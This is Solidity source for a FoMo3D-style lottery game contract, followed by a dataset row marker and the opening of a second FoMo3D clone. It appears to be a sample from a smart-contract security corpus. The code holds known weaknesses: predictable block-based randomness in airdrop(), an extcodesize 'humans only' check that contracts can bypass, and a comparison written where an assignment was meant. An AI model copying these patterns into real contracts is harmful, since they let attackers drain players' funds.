mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(22,6);
fees_[1] = F3Ddatasets.TeamFee(38,0);
fees_[2] = F3Ddatasets.TeamFee(52,10);
fees_[3] = F3Ddatasets.TeamFee(68,8);
potSplit_[0] = F3Ddatasets.PotSplit(15,10);
potSplit_[1] = F3Ddatasets.PotSplit(25,0);
potSplit_[2] = F3Ddatasets.PotSplit(20,20);
potSplit_[3] = F3Ddatasets.PotSplit(30,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
admin.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,740 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularLong is F3Devents {}
contract FJFoMo3DLong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
